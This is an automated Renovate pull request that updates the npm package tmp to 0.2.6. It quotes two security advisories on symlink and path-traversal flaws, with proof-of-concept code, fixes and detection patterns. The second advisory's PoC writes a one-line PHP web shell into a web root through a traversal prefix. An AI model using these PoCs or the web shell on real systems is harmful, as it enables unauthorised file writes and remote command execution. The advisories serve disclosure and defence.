chore(deps): update dependency tmp to v0.2.6 [security] - autoclosed

[renovate-bot]

This PR contains the following updates:

Package	Change	Age	Confidence
tmp	0.2.1 → 0.2.6

---

tmp allows arbitrary temporary file / directory write via symbolic link dir parameter

CVE-2025-54798 / GHSA-52f5-9888-hmc6

More information

Details

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579function_resolvePath(name,tmpDir){if(name.startsWith(tmpDir)){returnpath.resolve(name);}else{returnpath.resolve(path.join(tmpDir,name));}}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609function_assertIsRelative(name,option,tmpDir){if(option==='name'){// assert that name is not absolute and does not contain a pathif(path.isAbsolute(name))thrownewError(`${option} option must not contain an absolute path, found "${name}".`);// must not fail on valid .<name> or ..<name> or similar such constructsletbasename=path.basename(name);if(basename==='..'||basename==='.'||basename!==name)thrownewError(`${option} option must not contain a path, found "${name}".`);}else{// if (option === 'dir' || option === 'template') {// assert that dir or template are relative to tmpDirif(path.isAbsolute(name)&&!name.startsWith(tmpDir)){thrownewError(`${option} option must be relative to "${tmpDir}", found "${name}".`);}letresolvedPath=_resolvePath(name,tmpDir);//<--- if(!resolvedPath.startsWith(tmpDir))thrownewError(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);}}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.

• Setup: create a symbolic link inside the tmpDir that points to a directory outside of it

mkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir

• check the folder is empty:

ls -lha $HOME/mydir1 | grep "tmp-"

• run the poc

node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".

• the temporary file is created under $HOME/mydir1 (outside the tmpDir):

ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]

• main.js

// npm i tmp@0.2.3consttmp=require('tmp');consttmpobj=tmp.fileSync({'dir': 'evil-dir'});console.log('File: ',tmpobj.name);try{tmp.fileSync({'dir': 'mydir1'});}catch(err){console.log('test 1:',err.message)}try{tmp.fileSync({'dir': '/foo'});}catch(err){console.log('test 2:',err.message)}try{constfs=require('node:fs');constresolved=fs.realpathSync('/tmp/evil-dir');tmp.fileSync({'dir': resolved});}catch(err){console.log('test 3:',err.message)}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function_resolvePath(name,tmpDir){letresolvedPath;if(name.startsWith(tmpDir)){resolvedPath=path.resolve(name);}else{resolvedPath=path.resolve(path.join(tmpDir,name));}returnfs.realpathSync(resolvedPath);}

Impact

Arbitrary temporary file / directory write via symlink

Severity

• CVSS Score: 2.5 / 10 (Low)
• Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

References

• https://github.com/raszi/node-tmp/security/advisories/GHSA-52f5-9888-hmc6
• https://github.com/raszi/node-tmp/commit/188b25e529496e37adaf1a1d9dccb40019a08b1b
• https://nvd.nist.gov/vuln/detail/CVE-2025-54798
• https://github.com/raszi/node-tmp/issues/207
• https://lists.debian.org/debian-lts-announce/2025/08/msg00007.html
• https://github.com/advisories/GHSA-52f5-9888-hmc6

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape

CVE-2026-44705 / GHSA-ph9p-34f9-6g65

More information

Details

Summary

The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.

Details

Root Cause:
The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.

Technical Flow:

1. Filename Construction: tmp builds filenames as <prefix>-<pid>-<random>-<postfix>
2. Path Composition: Final path computed as path.join(tmpDir, opts.dir, name)
3. Path Normalization: Node.js path.join() normalizes traversal sequences, allowing escape
4. File Creation: File created at the resulting (potentially escaped) path

Vulnerable Pattern:

// In tmp package internalsconstname=`${opts.prefix||''}-${process.pid}-${randomString}-${opts.postfix||''}`;constfinalPath=path.join(tmpDir,opts.dir||'',name);// No validation that finalPath remains within tmpDir

Path Traversal Mechanics:

• prefix/postfix traversal:../../../evil in prefix escapes directory structure
• Absolute path bypass: If opts.dir is absolute, path.join() ignores tmpDir completely
• Normalization exploitation:path.join() resolves ../ sequences regardless of surrounding text
• Cross-platform impact: Works on Windows (..\\), Unix (../), and mixed path systems

Key Vulnerability Points:

• No input validation on prefix, postfix, or dir parameters
• Direct use of user input in path construction
• Reliance on path.join() normalization without containment checks
• Missing post-construction validation that final path remains within intended directory

PoC

Basic Path Traversal via prefix:

consttmp=require('tmp');constpath=require('path');constfs=require('fs');// Create a controlled base directoryconstbaseDir=fs.mkdtempSync('/tmp/safe-base-');console.log('Base directory:',baseDir);// Escape via prefixtmp.file({tmpdir: baseDir,prefix: '../escaped'},(err,filepath,fd,cleanup)=>{if(err)throwerr;console.log('Created file:',filepath);console.log('Relative to base:',path.relative(baseDir,filepath));// Output shows: ../escaped-<pid>-<random>cleanup();});

Directory Escape via postfix:

tmp.file({tmpdir: baseDir,postfix: '/../../pwned.txt'},(err,filepath,fd,cleanup)=>{if(err)throwerr;console.log('Escaped file:',filepath);console.log('Escaped outside base:',!filepath.startsWith(baseDir));cleanup();});

Absolute Path Bypass via dir:

tmp.file({tmpdir: '/safe/tmp/dir',dir: '/tmp/evil-location',prefix: 'bypassed'},(err,filepath,fd,cleanup)=>{if(err)throwerr;console.log('Bypassed to:',filepath);// File created in /tmp/evil-location instead of /safe/tmp/dircleanup();});

Advanced Multi-Vector Attack:

constmaliciousOpts={tmpdir: '/app/safe-tmp',dir: '../../../tmp',// Escape baseprefix: '../sensitive-area/',// Further traversalpostfix: 'malicious.config'// Controlled filename};tmp.file(maliciousOpts,(err,filepath,fd,cleanup)=>{// Results in file creation at: /tmp/sensitive-area/malicious.configconsole.log('Final malicious path:',filepath);cleanup();});

Real-World Attack Simulation:

// Simulate web API that accepts user file prefixfunctioncreateUserTempFile(userPrefix,content){returnnewPromise((resolve,reject)=>{tmp.file({prefix: userPrefix},(err,path,fd,cleanup)=>{if(err)returnreject(err);fs.writeSync(fd,content);console.log('User file created at:',path);resolve({ path, cleanup });});});}// Attacker inputconstattackerPrefix='../../../var/www/html/backdoor';createUserTempFile(attackerPrefix,'<?php system($_GET["cmd"]); ?>');// Creates PHP backdoor in web root instead of temp directory

Impact

Arbitrary File Creation:

• Files created outside intended temporary directories
• Attacker control over file placement location
• Potential to overwrite existing files (depending on creation flags)
• Cross-platform exploitation capability

Attack Scenarios:

1. Web Application Configuration Poisoning:

• User uploads file with malicious prefix/postfix
• tmp creates "temporary" file in application configuration directory
• Malicious configuration loaded on next application restart

2. Cache Poisoning:

• Application caches user content using tmp
• Attacker escapes to cache directory of different user/tenant
• Poisoned cache serves malicious content to other users

3. Build Pipeline Compromise:

• CI/CD system processes user PRs with tmp usage
• Malicious prefix escapes to build output directories
• Compromised build artifacts deployed to production

4. Container Escape Attempt:

• Containerized application uses tmp with user input
• Attacker attempts to escape container temp restrictions
• Files created in host-mapped volumes or sensitive container areas

5. Multi-Tenant Service Bypass:

• SaaS platform isolates tenants using separate tmp directories
• Tenant A escapes their tmp space to tenant B's area
• Cross-tenant data access and potential privilege escalation

Business Impact:

• Data Integrity: Unauthorized file placement can corrupt application state
• Service Disruption: Files in wrong locations may break application functionality
• Security Bypass: Escape temporary isolation boundaries
• Compliance Violations: Files containing sensitive data placed in uncontrolled locations

Affected Products

• Ecosystem: npm
• Package name: tmp
• Repository: github.com/raszi/node-tmp
• Affected versions: All versions with vulnerable path construction logic
• Patched versions: None currently available

Component Impact:

• tmp.file() function - vulnerable to prefix/postfix/dir traversal
• tmp.dir() function - vulnerable to same parameter manipulation
• tmp.tmpName() function - if using affected path construction

Severity: High
CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)

CWE Classification:

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

Remediation

Input Validation and Sanitization:

1. Sanitize prefix/postfix:

functionsanitizePrefix(prefix){if(!prefix)return'';// Remove path separators and traversal sequencesreturnpath.basename(String(prefix)).replace(/[\.\/\\]/g,'-');}functionsanitizePostfix(postfix){if(!postfix)return'';// Allow only safe charactersreturnString(postfix).replace(/[^A-Za-z0-9._-]/g,'');}

2. Validate dir parameter:

functionvalidateDir(dir,baseDir){if(!dir)return'';// Reject absolute pathsif(path.isAbsolute(dir)){thrownewError('Absolute paths not allowed for dir option');}// Resolve and check containmentconstresolved=path.resolve(baseDir,dir);constrelative=path.relative(baseDir,resolved);if(relative.startsWith('..')||path.isAbsolute(relative)){thrownewError('Dir option escapes base directory');}returndir;}

3. Post-construction path validation:

functionvalidateFinalPath(finalPath,baseDir){constresolved=path.resolve(finalPath);constrelative=path.relative(path.resolve(baseDir),resolved);if(relative.startsWith('..')||path.isAbsolute(relative)){thrownewError('Generated path escapes temporary directory');}returnresolved;}

Secure Implementation Pattern:

functioncreateTempFile(options){constopts={ ...options};// Sanitize inputsopts.prefix=sanitizePrefix(opts.prefix);opts.postfix=sanitizePostfix(opts.postfix);opts.dir=validateDir(opts.dir,opts.tmpdir);// Create with sanitized optionsreturntmp.file(opts,(err,path,fd,cleanup)=>{if(err)returncallback(err);// Validate final pathtry{validateFinalPath(path,opts.tmpdir);}catch(validationErr){cleanup();returncallback(validationErr);}callback(null,path,fd,cleanup);});}

Workarounds

For Application Developers:

1. Input Sanitization:

// Sanitize before passing to tmpfunctionsafeTmpFile(userOptions){constsafeOpts={
...userOptions,prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g,'') : undefined,dir: undefined// Don't allow user-controlled dir};returntmp.file(safeOpts);}

2. Path Validation:

functionvalidateTmpPath(tmpPath,expectedBase){constrelativePath=path.relative(expectedBase,tmpPath);if(relativePath.startsWith('..')||path.isAbsolute(relativePath)){thrownewError('Temporary file path escaped base directory');}returntmpPath;}

3. Restricted Usage:

// Only use tmp with known-safe, literal valuestmp.file({prefix: 'app-temp-',postfix: '.tmp'},callback);// Never: tmp.file({ prefix: userInput }, callback);

For Security Teams:

1. Code Review Patterns:

##### Search for dangerous tmp usage
grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req".
grep -r "tmp\.dir.*opts\|tmp\.file.*opts".

2. Runtime Monitoring:

// Monitor for files created outside expected temp areasconstoriginalFile=tmp.file;tmp.file=function(options,callback){returnoriginalFile(options,(err,path,fd,cleanup)=>{if(!err&&options.tmpdir){constrelative=require('path').relative(options.tmpdir,path);if(relative.startsWith('..')){console.warn('Path traversal detected:',path);}}returncallback(err,path,fd,cleanup);});};

Detection and Monitoring

Static Analysis:

• Scan for tmp usage with user-controlled input
• Identify unsanitized parameter passing to tmp functions
• Review file creation patterns in temporary directories

Runtime Detection:

// Log suspicious tmp operationsfunctionmonitorTmpUsage(){constoriginalTmpFile=require('tmp').file;require('tmp').file=function(options={},callback){// Check for suspicious patternsconstsuspicious=[options.prefix&&options.prefix.includes('..'),options.postfix&&options.postfix.includes('..'),options.dir&&path.isAbsolute(options.dir)].some(Boolean);if(suspicious){console.warn('Suspicious tmp usage detected:',options);}returnoriginalTmpFile.call(this,options,callback);};}

File System Monitoring:

##### Monitor file creation outside expected temp directories
inotifywait -m -r --format '%w%f %e' /tmp /var/tmp |whileread file event;doif [[ "$event"==*"CREATE"*&&"$file"!= /tmp/tmp-* ]];thenecho"Unexpected file creation: $file"fidone

Acknowledgements

Reported by: Mapta / BugBunny_ai

Severity

• CVSS Score: 7.7 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

• https://github.com/raszi/node-tmp/security/advisories/GHSA-ph9p-34f9-6g65
• https://github.com/raszi/node-tmp/commit/efa4a06f24374797ae32ab2b6ae39b7a611ae429
• https://nvd.nist.gov/vuln/detail/CVE-2026-44705
• https://github.com/advisories/GHSA-ph9p-34f9-6g65

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

raszi/node-tmp (tmp)

v0.2.6

Compare Source

v0.2.5

Compare Source

v0.2.4

Compare Source

v0.2.3

Compare Source

v0.2.2

Compare Source

🐛 Bug Fix

• #​278 Closes #​268: Revert "fix #​246: remove any double quotes or single quotes… (@​mbargiel)

📝 Documentation

• #​279 Closes #​266: move paragraph on graceful cleanup to the head of the documentation (@​silkentrance)

Committers: 5

• Carsten Klein (@​silkentrance)
• Dave Nicolson (@​dnicolson)
• KARASZI István (@​raszi)
• Maxime Bargiel (@​mbargiel)
• @​robertoaceves

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.